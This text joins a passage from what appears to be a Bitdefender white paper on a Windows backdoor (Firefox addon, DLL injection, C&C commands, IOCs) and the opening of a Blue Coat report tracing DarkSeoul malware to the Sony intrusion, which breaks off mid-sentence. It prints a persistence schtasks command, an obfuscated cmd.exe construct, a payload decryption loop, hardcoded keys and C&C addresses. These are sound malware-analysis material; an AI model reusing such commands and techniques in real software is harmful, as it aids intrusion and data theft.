GUID for the extension +C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default +Firefox profile folder where the extension was placed +C:\Documents and Settings\user\Desktop + desktop folder of the active user +[12] +White Paper +{ec8030f7-c20a-464f-9b0e-13a3a9e97384} - GUID for Firefox +After the ID was generated, an encryption/decryption key will be created. It concatenates the hardcoded string +7201895b632dc5044c02ea98b0dbd371 + with the string containing the ID. In the case of our example this will make the string +7201895b632dc5044c02ea98b0dbd3715815da5d0d5565f342474d976f507807 +. Then it makes the Md5 hash on the string which will +result in +ec398e010a0cb6b6e4f48722dc07eaa3 +This final buffer (containing a C like string with the md5) is the decryption key. The key is subsequently used for encryption and +decryption of every message sent and received from the C&C. +Next it gathers more data about the system. Again, an example from the test machine: +5815da5d0d5565f342474d976f507807 {285364ef-e70c-4386-8e5c-2aa93a78daad} winnt x86 +Mozilla Firefox {ec8030f7-c20a-464f-9b0e-13a3a9e97384} 35.0 +C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default +C:\Documents and Settings\user\Desktop +0040|||C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default\user.js +Lines are separated by line feed (0x0A). The data represents: +5815da5d0d5565f342474d976f507807 + System ID +{285364ef-e70c-4386-8e5c-2aa93a78daad} + GUID for the extension winnt x86 + Operating system +{ec8030f7-c20a-464f-9b0e-13a3a9e97384} + GUID for Firefox +35.0 + Firefox version +C:\Perl... - %path% +C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default + Path to Firefox profile +C:\Documents and Settings\user\Desktop + Desktop folder of the logged user +C:\Documents and Settings\user\ApplicationData\Mozilla\Firefox\Profiles\2gmaw237.default\user.js + Config file for Firefox which +can override normal settings, it will try to delete it. If is still present after deletion it will put 0041 instead 0040 as the status. +The data is encrypted with the key that was generated and sent to the C&C. Finally the malware sets a timer which calls a function +that sends to C&C, receives from C&C and processes the backdoor commands every five seconds. The commands are made up from 3 +strings separated by +,like +nr|||string1|||string2 +nr will be + to + and represents the backdoor command. string1 and string2 contain file names, urls and other things used by the +commands. In some commands string2 is not used. The commands are: +[13] +White Paper +1|||file commandlineOptions +Executes the file +file + with command line parameters +commandlineOptions +. stdout and stderr are redirected to a string and the +content of the string will be sent to the C&C. If the file to be executed does not exists it sends back to the C&C +0011|||file +2|||url|||file +Downloads the file from + and writes it with the name +file +. Returns to the C&C +0020|||file + if the file was successfuly written, +0021|||file + if the file was not written or +0051|||url|||errCode + if the download failed. +3|||file +Searches the file +file + and sends it to the C&C. In case of an error it will return +0034|||file + if the file is a folder, +0033|||file|||size + if the +file size is greater than 5000000 bytes, +0031|||file + if the file exists but it couldn +t get information about it, +0032|||file + if the file does +not exists, +0051|||url|||errCode + if the file could not be sent due to some network problems. +4|||file +Deletes the file +file +. Returns to the C&C +0040|||file + if the file was deleted or +0041|||file + if the file could not be deleted. +5|||string1|||file +Sends back +string1 + to the C&C. The C&C responds with a buffer which will be written to the file +file +. It sends back to the C&C +0020|||file + if the file was successfuly written, +0021|||file + if the file could not be written or +0051|||url|||errCode + in case of network +problems. +6|||path|||depth +Lists files and directories from +path + recursively until +depth + level, then it sends the list to the C&C. An example: +0060|||c:\0 +1|c:\0\Documents|d|ct=NaN|lat=1442919637000|lmt=1442919637000| +1|c:\0\main.js|17394|ct=NaN|lat=1442919639000|lmt=1442405697000| +1|c:\0\main1.js.js_format|9486|ct=NaN|lat=1442919639000|lmt=1442404160000| +2|c:\0\Documents\rec.doc|12|ct=NaN|lat=1442919637000|lmt=1442919637000| +0061|||path_failed|||error_code +0061|||c:\0|||10000 +The +path + listed and a return code would be +0060|||c:\0 + and + from the start of the lines is the level of a file or directory. The +count starts at 1 and the maximum level would be +depth ++1This is followed by a file or directory path. After the path a + follows, if the +path specifies a directory, or something like +17394 + in case of a file, which is the size of the file. +ct=NaN + is the creation time of a file. +There is a typo in the code and because of that the creation time is never actually retrieved ( +winBirtdhDate + instead of +winBirthDate +lat=1442919637000 + is the last access time. +lmt=1442919637000 + is last modified time. +0061|||path_failed|||error_code + is optional +and may appear multiple times, contains a path at which the file enumeration failed. +00061|||c:\0|||10000 + at the end is optional and +appears only if the listing so far contains more than 10000 characters, then no more lines will be added. +0|||key +Sets a new encryption/decryption key with the C string +[14] +White Paper +Other 2015 variants +We found different versions of the files with almost identical functionality and only minor differences. The most notable difference is +that C&C addresses vary. Another interesting fact is where the samples were spotted. +More C&C servers +reckless.dk/wp-includes/class-pomo.php +reckless.dk/wp-includes/class.wp-db.php +fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php +fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php +77-ufo.com/wp-includes/class-menu.php +77-ufo.com/pma/db_table.php +scientific.otzo.com/rss.php +Documents +The documents differ in what they present but they are identical in where the dropper resides and how the script operates. +Droppers +The most common level 1 droppers contain the files encrypted with RC4 in the overlay and level 2 droppers have the files in clear in +.data section. Some level 1 and level 2 droppers are just selfextracting winrar archives, but they have the same functionality. +Firefox addon +Only one version was found. +ntlm.exe, svchost.exe, dwms.exe +Different names for the starting executable. Some variants do not have the link files functionality and rely only on the registry key to +start. All variants use the key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and the value is named +svchostUpdate +dwm service +msvci.dll +Some versions check if the process into which they inject is 64 bit or 32 bit. If it is 64 bit +msvci.exe PID + is executed. This looks like +an early version of the code because the functionality for 32/64 bit is in ntlm.exe file and if we have a 64 bit process to inject, msvci.dll +would not be loaded in the first place. +msvct.dll +Different C&C addresses. +msvck.dll +Some versions check the C&C in an infinite loop other will check it only 3 times and if no connection could be established the execution +ends. The computer ID has a GUID obtained with GetCurrentHwProfile in some versions and in others the GUID is taken from the +registry key HKLM\SOFTWARE\Microsoft\Cryptography\ MachineGuid +Strings +Almost all strings in the files are encrypted. They are encrypted with RC4 in all versions, only the decryption keys are different. +[15] +White Paper +2016 attack wave +In May 2016 we have encountered a new wave of attacks. They came, at least in some known cases, as spear phishing emails containing +various documents: topics like Oil conferences, international politics, budget calculations, simple guidelines on how to interview for a +job in foreign affairs. +The attackers moved away from using documents containing macro scripts to employing a zip archive containing a java-script file +that would in turn drop a clean document and the actual malware. The archived file has a double extension, something like urgentdocument.doc.js. This method is probably more efficient, as the victim doesn +t have to enable macros in Word Viewer. +Generally speaking, the components are slightly different from the 2015 variants but they achieve the same results. As a general +rule, we observed that these variants tend to be stealthier than past years + variants because malware is only injected in legitimate +processes, so that no new main executable will be seen in the process list after injection. The components are outlined below. +Document containing malicious macro script +The new infected documents have a different structure, as seen in the picture. The clean document is +encrypted directly in the infected document, not contained in the dropper as with previous versions. The +macro from the infected document will decrypt and run the clean document and the dropper. +At the end of the document there is a dword which contains the total size (document+dropper+4). In front +of the encrypted document is a dword which represents its size. After the encrypted document there is one +byte, the checksum. +The encrypted dropper has the same structure. The checksum algorithm remains the same but the +encryption is slightly different than before: +// decrypt +for (key = 75, i = 0; i < size; i++) +buffer[i] = buffer[i] ^ key; +key = (key ^ ((200 + i) % 256) ^ (i % 256); +The Dropper +The droppers are self-extracting Winrar archives. They do not contain the clean document any more. The +component files are extracted to: +[16] +%appdata%\Microsoft\VisualStudio\11.0\dws.exe +%appdata%\Microsoft\VisualStudio\11.0\msi.dll +%appdata%\Microsoft\VisualStudio\11.0\msi32.dll +%appdata%\Microsoft\VisualStudio\11.0\msk.dll (optional) +%appdata%\Microsoft\VisualStudio\11.0\msp.dll +%appdata%\Microsoft\VisualStudio\11.0\mst.dll +White Paper +%appdata%\Microsoft\VisualStudio\11.0\msi.exe (64 bit) +%appdata%\Microsoft\VisualStudio\11.0\msi60.dll (64 bit) +%appdata%\Microsoft\VisualStudio\11.0\msk60.dll (64 bit, optional) +%appdata%\Microsoft\VisualStudio\11.0\msp60.dll (64 bit) +%appdata%\Microsoft\VisualStudio\11.0\mst60.dll (64 bit) +%appdata%\Microsoft\VisualStudio\11.0\msvci60.dll (64 bit) +msk.dll and msk60.dll are not always present in which case their functionality is taken by another dll. After the files are dropped the +file dws.exe is executed without any parameters. +msp.dll +Similar to the old msvcp.dll. Returns the PID of some processes. It has 3 important exports: p, p1, p2. + p export has the functionality as the older variant, returns the PID of one of iexplore.exe, firefox.exe, chrome.exe, outlook.exe. + p1 export returns the PID of dwm.exe (Windows Desktop Manager). + p2 returns the PID of taskhostex.exe (Host Process for Windows Tasks) or sihost.exe (Shell Infrastructure Host). These are +legitimate processes that can be found in Windows 8 and Windows 10. Some variants do not search for sihost.exe. + Some variants also have another export kp which kills a process, but it +s never invoked. +msp60.dll +64 bit variant of msp.dll. +msi.dll +This is similar to the old msvci.dll. It has one export msvci with two parameters, a path to a file and a PID. It will inject the file from the +path into the process with that PID. For 32 bit processes. +msvci60.dll +64 bit variant of msi.dll. +msi.exe +Similar to msi.dll, for 64 bit processes. It will look for 1 or 2 command line parameters. +The first is a process PID. The second parameter can be anything and is just a flag for +knowing what library to inject: 2 parameters + will inject msi60.dll, 1 parameter + will +inject msk60.dll. The injection is done with the msvci export from msvci60.dll. +dws.exe +The starting module. If it was started with a parameter and the parameter is not a number (as an ascii string), it will create a process +with the executable taken from the parameter; this looks like a reminiscent of the .lnk files functionality. +If the parameter is a number, the number will be interpreted as a PID and it will check if the process with that PID is a 32/64 bit +process. If it is a 64 bit process, dws.exe will create a new process with the command line +msi.exe PID +. If it is a 32 bit process, dws. +exe will load msi.dll and call its export as msvci( +msvck +,pid). In this case (parameter as number received) the execution stops here. +If the file msp.dll is not present it will delete all components of the trojan. Otherwise it will call from msp.dll the export p1 or p2 (only +on Windows 8/10 or Server 2012) to get the PID of dwm.exe, taskhostex.exe or sihost.exe. If the returned PID is for a 64 bit process +[17] +White Paper +will run +msi.exe PID 1 +; two parameters are passed, the last one being dummy and used by msi.exe just to know to take a different +path of execution. If the returned PID is for a 32 bit process, it will load msi.dll and call msvci( +msi32.dll +, PID). After this the program +terminates (the older ntlm.exe would have stayed in a loop here). +msi32.dll +Code from this library will execute injected in dwm.exe, taskhostex.exe. Sets the same registry autorun key as the 2015 variants. It +will also set a scheduled task: +schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR %appdata%\Microsoft\VisualStudio\11\dws.exe +which will make sure that main module will start daily. +Checks if msp.dll exists, if it does not, it will execute dws.exe without parameters, which in turn will self delete the Trojan. It uses +from msp.dll the p export to get a PID. If that PID is a 32 bit process it will run +dws.exe PID + and if it is a 64 bit process it will run +msi.exe PID +. Those processes with parameters will inject the actual backdoor (msk.dll). It will stay in a loop and try to find targeted +processes in order to inject in them. This variant of the Trojan is stealthier than the previous one in which ntlm.exe would stay in a +loop and try to inject, in which case a suspicious process (ntlm.exe) would be visible. +msi32.dll + with backdoor functionality +In some droppers msi32.dll has another variant different enough to be described separately. In this case msi32.dll would contain +backdoor functionality along the functionality described earlier. It will function in 2 ways (backdoor or earlier msi32.dll) based on the +name of the process from which it runs. If the containing process is dwm.exe, taskhostex.exe or sihost.exe it will function like the +usual msi32.dll and also will copy itself as msk.dll for later use as the backdoor. If the containing process is another process then it +will function as the backdoor (identical to msk.dll). +msi60.dll +64 bit variant of msi32.dll. +msk.dll +The backdoor component, similar to the old msvck.dll, it has the same functionality. For selfdelete it will delete msp.dll. It also has a +new backdoor command + which sets the time in milliseconds for Sleep, time value received from the C&C. +msk60.dll +64 bit variant of msk.dll. +mst.dll +Library used for communication with the C&C. Very similar to the old msvct.dll. Internet connection is checked with +go.microsoft. +mst60.dll +64 bit variant of mst.dll. +[18] +White Paper +Functionality diagram +Functionality summary: +The macro from the infected document will drop and open a dummy clean document and a dropper. +The dropper will drop the component files in the folder %appdata%\Microsoft\VisualStudio\11\ and will open dws.exe without +parameters. +dws.exe will use the function p2 (only on Windows 8 or Windows Server 2012) or the function p1 from msp.dll. p1 will return the +PID of dwm.exe, p2 will return the PID of taskhostex.exe. +[19] +White Paper +dws.exe will load msi.dll and will call its export as msvci( +msi32.dll +, PID), with the PID returned from step 3. This will inject msi32. +dll into dwm.exe or taskhostex.exe depending on the OS. After this dws.exe process terminates. +a. msi32.dll will add a run key in registry and a scheduled task, both will open dws.exe +b. msi32.dll will copy itself to msk.dll. This step is done only in some versions where msi32.dll has the backdoor functionality and +the initial backdoor msk.dll is missing. +msi32.dll will use the function p from msp.dll which will return the PID of one of iexplore.exe, outlook.exe, firefox.exe, chrome.exe. +msi32.dll will create a new process with dws.exe with a parameter, the PID returned at step 6. If at step 6. the file msp.dll was not +found (selfdelete from backdoor), it will create a new process with dws.exe but without parameters, which in turn will delete all +components. msi32.dll will stay in a loop repeating from step 6 (the backdoor variant of msi32.dll will exit). +dws.exe with a parameter will function differently and will call the export from msi.dll as msvci( +msk.dll +, PID), with the PID +returned at step 6., received as a command line parameter. This will inject msk.dll in the specified process. After this dws.exe +process terminates. At this step it does not matter if msk.dll is the msi32.dll variant or not. +msk.dll is the backdoor program and will use exports from mst.dll to communicate with the C&C. In case that msk.dll is msi32. +dll variant the selfdelete will be done here (start dws.exe) and not in step 7. because msi32.dll will no longer run in dwm.exe, +taskhostex.exe or sihost.exe. +Zip file containing malicious java-script +In this variant victim is lured to double click on a file with double extension .doc.js this way java-script file gets executed, will +decode a clean Word document and a malware executable file, both are embedded in java-script. Next, a windows task is created +to run the malware, and clean document is opened. Malware execution follows as previously described. +We have 4 unique C&Cs for 2016 variants, hosted in Netherlands, New York and Germany. The machines used are most +likely compromised web servers. +[20] +White Paper +Binary difference between 2014/2015 and 2016 variants +diagram representing backdoor main function +Yellow blocks represent partial code modifications compared to 2015 versions. Red blocks represent added functionality. We can +see that little functionality was added to backdoor component. +[21] +White Paper +IOCs +File paths +%APPDATA%\Microsoft\Word\MSWord.exe +%APPDATA%\Axpim\ubfic.exe (random) +%APPDATA%\Axpim\anfel.js +(random) +%APPDATA%\Nuuw\ilebi.xpi +(random) +%APPDATA%\Nuuw\yqyra.js +(random) +%TEMP%\ntlm.exe +%TEMP%\msvci.dll +%TEMP%\msvcp.dll +%TEMP%\msvck.dll +%TEMP%\msvct.dll +%TEMP%\msvci.exe +(64bit) +%TEMP%\msvck60.dll (64bit) +%TEMP%\msvct60.dll (64bit) +%APPDATA%\Microsoft\VisualStudio\11.0\dws.exe +%APPDATA%\Microsoft\VisualStudio\11.0\msi.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msi.exe +%APPDATA%\Microsoft\VisualStudio\11.0\msi32.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msi60.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msk.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msk60.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msp.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msp60.dll +%APPDATA%\Microsoft\VisualStudio\11.0\mst.dll +%APPDATA%\Microsoft\VisualStudio\11.0\mst60.dll +%APPDATA%\Microsoft\VisualStudio\11.0\msvci60.dll +%APPDATA%\Axpim\selfdel.bat +%TEMP%\xmlupd.bat +[22] +White Paper +pipes +\\.\pipe\bc367 +\\.\pipe\bc31a7 +Registry paths +HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate +-> %TEMP%\ntlm.exe +HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices +-> %TEMP%\ntlm.exe +HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svchostUpdate +-> %TEMP%\svchost.exe +HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices +-> %TEMP%\svchost.exe +HKLM\Software\Microsoft\Windows\CurrentVersion\Run\dwm service +-> %TEMP%\dwms.exe +HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices +-> %TEMP%\dwms.exe +HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwupdate +-> %APPDATA%\Microsoft\VisualStudio\11.0\dws.exe +tasks +update + command schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR %APPDATA%\Microsoft\VisualStudio\11.0\dws.exe +network activity +2014-2015 variants: +reckless.dk/wp-includes/class-pomo.php +reckless.dk/wp-includes/class.wp-db.php +fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php +fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php +77-ufo.com/wp-includes/class-menu.php +77-ufo.com/pma/db_table.php +scientific.otzo.com/rss.php +[23] +White Paper +SHA1 hashes of all known variants +[24] +0641f22e1b4e15cc23660b2e8bbf42623e997dfb +c4b06021c6c925c837dab3ba42c6b76eb77ad30b +0af1a6d6c487e78aa252ae2f5921606a8a379206 +c5166d1a574bc5e374490846f2584f94f755d90b +100241519698bb013f668ff49d3d0d4fdab6a584 +c9b1208be2aa2c5cfbcbfcb9b1a45c36854414b8 +14014f810a0c07b6dde48b7a8954b56c409ae7f3 +ce234ed0899c8f97e3f2085215b842723a773368 +16c6d317fd7c361623c62cf5652a6b7937f58e0a +d80d5ccb9d37d971a408d3c91f803e40b8421a2c +22c565e2cfb8adadd022b0ec281bb2b6ed62dca2 +d83d7de186fa6c7abe4676eb568ba4dc62a7c931 +23ce92fd1d4d2d42389a66869434fb578aa3f539 +e20b0f03f6708118bca9f408b156b210ba083b54 +261a8fc8e0e396298120a7bc15c32a37f3ce5b94 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+[26] +White Paper +Car for sale: +[27] +White Paper +23rd International Caspian Oil & Gas Conference +Presentation for a real conference that took place on 1-4 June 2016 in Azerbaijan, Baku. Picture and text are taken from official page +of conference organizers. +[28] +White Paper +Australia - Korea Foundation, foreign affairs position, interview guidelines +Data seems to be taken from Australian Government, Department of Foreign Affairs and Trade. +[29] +White Paper +International politics +Text is a Bloomberg news story from October 24th: Bulgaria, Romania and Serbia Ready to Close Borders for Migrants. +[30] +White Paper +Budget plan template +This one looks as a budget calculation template taken from +Relations internationals et Francophonie + of Qu +bec. +[31] +virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its +number-one-ranked technology and its strategic alliances with the world +s leading virtualization and cloud technology providers. More information is available at +http://www.bitdefender.com/ +All Rights Reserved. + 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners. +FOR MORE INFORMATION VISIT: enterprise.bitdefender.com +BD-Business-Jun.30.2016-Tk#: 70585 +Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and +reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in +FROM SEOUL TO SONY: +THE HISTORY OF THE DARKSEOUL GROUP +AND THE SONY INTRUSION MALWARE +DESTOVER +By Snorre Fagerland, Blue Coat Systems Inc. +February 2016 +EXECUTIVE SUMMARY +The attack on Sony Pictures Entertainment in November 2014 was not a single incident. Through technical +indicators, we connect the attack to several destructive events going back to at least 2009. +The identity of the perpetrators is unknown, but several of these previous events have been attributed by others to +North Korean threat actors. In this report, we show how we have connected these events to the threat actors +known as DarkSeoul or Silent Chollima. +Whoever they are, this group is still active, mainly going after South Korean targets in several sectors. Malware +belonging to this threat complex has apparently been produced as late as January 2016. +We detail the evolution of some of the most common tools used by these attackers and present indicators of +compromise and mitigation information where we can. +In parallel with this report, the security company Novetta is publishing its own independent research covering the +same threat complex. This report is available from http://operationblockbuster.com. +INTRODUCTION +Much has been written about the Sony hack. However, hard data has not been as plentiful. In an attempt to +provide additional insight, we detail some facts about the malware reportedly used in the attack, and attempt to +draw lines to other malware and incidents, beyond the mere speculative. +In order to expand the case, we will look at a variety of evidence. In most cases, we will not settle for one single +factor as the basis for assessments, but instead correlate information of different kinds. Factors that we will include +are for example: +Obfuscation methods +Code structure +Text strings, such as encryption keys +Known localization +Digital code signing certificates +Details about the different indicators are included in the appendixes. +Acknowledgements +A big thank you goes out to all who helped with this paper + notably Waylon Grange, always an invaluable source of +insight and information, and the good folks over at Farsight Security who gracefully provided passive DNS data. +MALWARE KNOWN TO BE CONNECTED WITH THE SONY CASE +To start at the beginning: The official statements from the FBI (1) and US-CERT (2) mention the md5 hashes of the +following set of malware files: +d1c27ee7ce18675974edf42d4eea25c6 (dropper) +760c35a80d758f032d02cf4db12d3e55 (wiper) +e1864a55d5ccb76af4bf7a0ae16279ba (web server) +e904bf93403c0fb08b9683a9e858c73e (backdoor) +In the weeks following the attack, a number of other malware instances came to light that were obviously +connected; such as +2618dd3e5c59ca851f03df12c0cab3b8 +b80aa583591eaf758fd95ab4ea7afe39 +6467c6df4ba4526c7f7a7bc950bd47eb +(SMB worm) +(wiper) +(backdoor) +Most vendors now use the name Destover for a group of malware that was part of the Sony intrusion. Though +many pieces of malware are somewhat different, we +ll use that name as well to avoid confusion. +The US-CERT advisory also mentions the import hashes of a number of other malware. These are non-unique +indicators, but can help in locating related samples. +A NOTE ABOUT THE HANGUL WORD PROCESSOR (*.HWP, HWPX) FORMAT +The Hangul Word Processor is software developed by the Korean company Hancom. It is similar in usage area to +Microsoft Word, but is specifically adapted to the Korean written language Hangul. +The file format used by this software is also somewhat similar to Microsoft Word, with the use of OLE2-based +documents for previous versions of HWP, and ZIP archive-based documents for newer versions. +A number of vulnerabilities have existed for these formats. These have been used maliciously by several different +threat actors over time, also by the threat actors mentioned in this paper. +MALWARE ARCHEOLOGY +As research into this case progressed, it became obvious that we were tracing malware relationships back in time. +In fact, the earliest indicators we +ve found go all the way back to at least 2009. +Around this time a malware development project started that would become the backbone of intrusions and +destructive attacks against mainly South Korean targets for years to come. In fact, modern-day malware from the +same threat actor still contains traces of this first eo-malware. The initial starting points were likely publicly +available source codes for Rbot and Mydoom, found on Chinese code sharing sites like Programmers United +Develop Net (PUDN). +There is no universally adopted naming for the early generations of this family in the AV industry. Usually they are +detected as Dllbot or Npkon, but these names can also cover other families, thus our use of a different name in this +paper - KorDllbot. +We will cover the evolution of KorDllbots and related malware, and how these came to be involved in various +intrusion cases. +TIMELINE OF LIKELY DARKSEOUL-RELATED ATTACKS +A timeline of destructive intrusions in or related to the Korean peninsula. +THE KORDLLBOT BACKDOOR FAMILY +KorDllbot is a family of small/medium size trojans that usually are configured to be installed as services. +Samples can vary a great deal in functionality - from just listening on a port and accepting commands, to harvesting +data, to actively spreading over SMB. This functionality seems almost modular, using different encryption and +encoding methods and different C&C command words. Build environment for the early generations was typically +Visual Studio 6. +KorDllbots use C&C commands starting at different integer offsets depending on version. Here, versions 1.1/1.2/1.5, +1.03, 1.04.2 and 1.05.2 sending success or error status back to remote control client after file deletion. +Common capability seen in the KorDllbot family is: +- Get bot status +- List logical drives +- List directory +- Change directory +- Get process list +- Kill process +- Execute file +- Delete file +- Change file time +- Execute shell command +- Download file +- Upload file +- Get volume serial number +- Get file attributes +Most of these trojans use encrypted or encoded C&C communication, but the algorithms vary between versions. +A very common trait in these bots is for API +s to be dynamically declared through the use of LoadLibrary and +GetProcAddress, where the API names are obfuscated, encoded or encrypted in some way, and decoded before +they are declared. This is not unique to KorDllbots, but is a fairly static common behavior for this family. +Another trait which is peculiar enough to be an identifier in itself is the way this malware creates command line +statements. The construction of the command line is deliberately obfuscated by concatenating string segments. +Typically, this looks something like this: +sprintf(commandline, +%sd.e%sc %s >%s 2>&1 +xe / +, command, logfile_name); +//command and tempfile_name are arbitrary strings inserted by the malware. +This translates to +cmd.exe /c command>logfile_name 2>&1 +, i.e execute command and direct output to a log file. +This particular construct, with very little deviation, is used in almost all KorDllbots and its successors. We +reference this by the name +CMXE + string obfuscation later on in the paper. +The earliest KorDllbot we have has a compile timestamp of July 1st. 2007. This date is however possible to falsify. +The earliest verified time KorDllbots were observed was mid-2011, with the executable with the sha256 hash of +87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e. This sample listens for connections on +port 179 and allows remote access through an encoded proprietary protocol. +Already here we can note a connection to the Sony case. Current antivirus detection of this file includes the +names Destover and Escad, names introduced by AV vendors in connection with the Sony attack. It has a compile +date (May 17th 2011) and import hash that matches data from the US-CERT advisory (2). +This malware contains a very noticeable API string obfuscation algorithm where API strings have been broken up +into segments of varying size using either spaces or dots as filler. This is presumably done to avoid detection by +anti-malware solutions or YARA rules. We have called this technique Chopstring, just to have a reference later on. +ChopString is used by many KorDllbots, and also shows up elsewhere in the Sony intrusion case. +Chopstring +ed strings inside malware. +As far as we know, this exact method is not in widespread use in the underground or shared between threat actors. +These APIs are reconstructed before use by calling special string-deobfuscation functions early in the execution of +the program. For details about this and other algorithms, see the Appendix. +However, there is another interesting trait of this particular sample, and that is its digital signature. +THE MicrosoftCodeSigningPCA CERTIFICATE CLUSTER +The KorDllbot sample 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e is digitally +signed using a non-original (and thus non-validating) Microsoft certificate. The file is in reality self-signed. +This signature doesn +t say much about who made it. However, the way the certificate is constructed is peculiar. +The faked issuer in this case is Microsoft Code Signing PCA. The real Microsoft Code Signing PCA is one of the +certificate authorities used by Microsoft to sign their software. +The Subject - i.e. the entity the certificate is supposed to have been issued to - is also Microsoft Code Signing PCA. +This is a construct never seen in legitimate certifications, and it is rare enough in faked certificates that it +worthwhile checking other malware signed in this way. +Blue Coat maintains a database of code signing certificates which we can mine for this type of information. +We found several certificate serial numbers matching this pattern. Each serial number identifies a certificate used +to sign a small number of malware samples + typically on the range of one to four samples, with one outlier at eight +samples. +The malware can be clustered into a few main buckets. Some malwares of different families are signed by the same +certificate, which creates a high-confidence link between them. +This collection of signed malware is dominated by KorDllbots. These are not all identical, there is considerable +variation between generations in functionality, encoding and encryption methods, but the similarities in overall +structure; string usage etc. is quite unmistakable. (See appendix for a full list of executables with this type of +signature.) +Other samples include keyloggers, SMB worms, Yahoo Messenger-communicating backdoor trojans and the +legitimate ProxyMini lightweight proxy server. +KORDLLBOT-RELATED SMB WORMS +The malware samples 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d and +e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d in the cluster of signed malware do +not look like KorDllbots at first glance. +The usual service DLL dropper is here replaced with a worm component. After installation and reboot, this worm +generates random IP addresses and attempts to connect to the admin$ share on remote machines using the hard +coded usernames +administrator + and +db2admin +. The malware contains a list of common passwords and it will +also construct passwords based on the username. If successful, the worm copies itself to the remote machine +system directory and installs it as a service there. +In addition to spreading, these samples drop a backdoor component which is somewhat different in structure to +the +standard + KorDllbots. The dropper code logic used in these worms is however used in other KorDllbot dropper +samples and is unmistakable - the strings +DGTSIGN + and +www.goog1e.cn + are markers which the malware uses +to locate its embedded content. +9bc8fe605a4ad852894801271efd771da688d707b +9fbe208106917a0796bbfdc +This is a KorDllbot dropper +e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c +2ed4fcbfdd16b4dd1c18d4d +This is an SMB worm +THE JOANAP/BRAMBUL WORM FAMILY +Speaking of SMB worms, a group of malware signed using the MicrosoftCodeSigningPCA pattern were a series of +SMB worms that had not appeared on our radar before. The variant we found first was named +Joanap + by several +antivirus vendors; presumably because of name appearing in the TO: field of callback emails from the malware +Joana. +The malware comes as a dropper which installs three sub-components + one SMB spreading DLL (wmmvsvc.dll), +one backdoor DLL (scardprv.dll) and one configuration file (mssscardprv.ax). +The spreader component generates random IP addresses and attempts to copy the dropper and the config file to +these over SMB. If successful, the worm sends an email back to its creator via Google +s SMTP server. The backdoor +component is essentially a KorDllbot. Not only is there code overlap with this family, but it also creates its API +decryption AES key based on the same string ( +Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion +as previously mentioned KorDllbots, eg. sha256 +a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f. +Recently, Symantec published information (3) that links these worms to the Duuzer malware family. As we shall see +later on, this is just another connection to our threat actors. +We were able to locate several variants of Joanap-like malware using different email addresses and containing +different functionality. The earliest of these were apparently compiled as early as January 2009, with verified +occurrences of a newer variant late same year. See appendix for more details. +The latest versions of Joanap we found appear to be the type of SMB worm observed in connection with the Sony +attack, something also PriceWaterhouseCoopers has mentioned in a blog post (4). +THE DOZER (AKA 7.7 DDOS) ATTACK +The Dozer attack in July 2009 was one of the first attacks on South Korean targets that received international +attention. DDOS bots were distributed with lists of sites to attack + notably various Korean websites covering +government and bank functions, but also a great deal of US .gov, .mil and .com sites + including whitehouse.gov. +This also involved wiping of hard disks of the infected computers. +There is a known set of malware (7) connected with this incident. +Some of these samples appear to have been written specifically for the Dozer attack. However, the sample with the +sha256 hash 7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643 shares code with +KorDllbots, as can be seen in the function below, which does network receipt with xor decoding. +KorDllbot (0075d16d8c86f132618c6365369ff1755525180f919eb5c103e7578be30391d6) vs Dozer +(7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643). +The function is identical. This is just one out of several such functions in the sample. +We can say with reasonable confidence that the threat actors behind the Dozer attack also were involved in the +creation of the KorDllbot family or have had access to the source code. +THE KOREDOS (AKA 3.4 DDOS) ATTACK +Over a few days in the beginning of March 2011, different South Korean organizations were targets of a DDOS +attack. The malware launching this attack also contained very destructive components that wiped and deleted files +of certain extensions after some time, as well as overwriting the Master Boot Record (MBR) of all physical hard +drives. Good write-ups of this incident have been published by McAfee (8) and several others. +Some known Koredos malware samples (eg. sha256 +48dee93aa3ea847da119f5104e8f96070b03f1d52c46f39dc345f0102bf38836) use the same RC4 file decryption key +A39405WKELsdfirpsdLDPskDORkbLRTP12330@3$223%! + - as malware in the MicrosoftCodeSigningPCA signed +KorDllbot cluster mentioned previously (eg. sha256 +a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f). The RC4 implementation used is +identical. The very same KorDllbot also contains an AES key 